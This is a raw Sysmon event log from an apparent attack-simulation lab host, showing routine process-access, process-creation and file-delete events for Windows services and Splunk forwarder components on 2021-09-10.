14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014817Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014816Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014815Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014814Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014813Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014812Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014811Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014810Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014809Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-707F-613B-BC04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014808Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.694{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-707F-613B-BC04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014807Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.695{625C326B-707F-613B-BC04-00000000F101}2408C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014806Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.412{625C326B-707F-613B-BB04-00000000F101}32522032C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014805Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-707F-613B-BB04-00000000F101}3252C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014804Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014803Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014802Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014801Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014800Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014799Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014798Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014797Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-707F-613B-BB04-00000000F101}3252C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014796Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014795Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014794Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.194{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-707F-613B-BB04-00000000F101}3252C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014793Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.195{625C326B-707F-613B-BB04-00000000F101}3252C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014792Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.162{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8C162E1F903D4B7F190147814F5E5232,SHA256=6EFBD5E500F727A4E63C189A6D539FF89BA284114CBE68883E387E4EC0B7F071,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014791Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:35.069{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 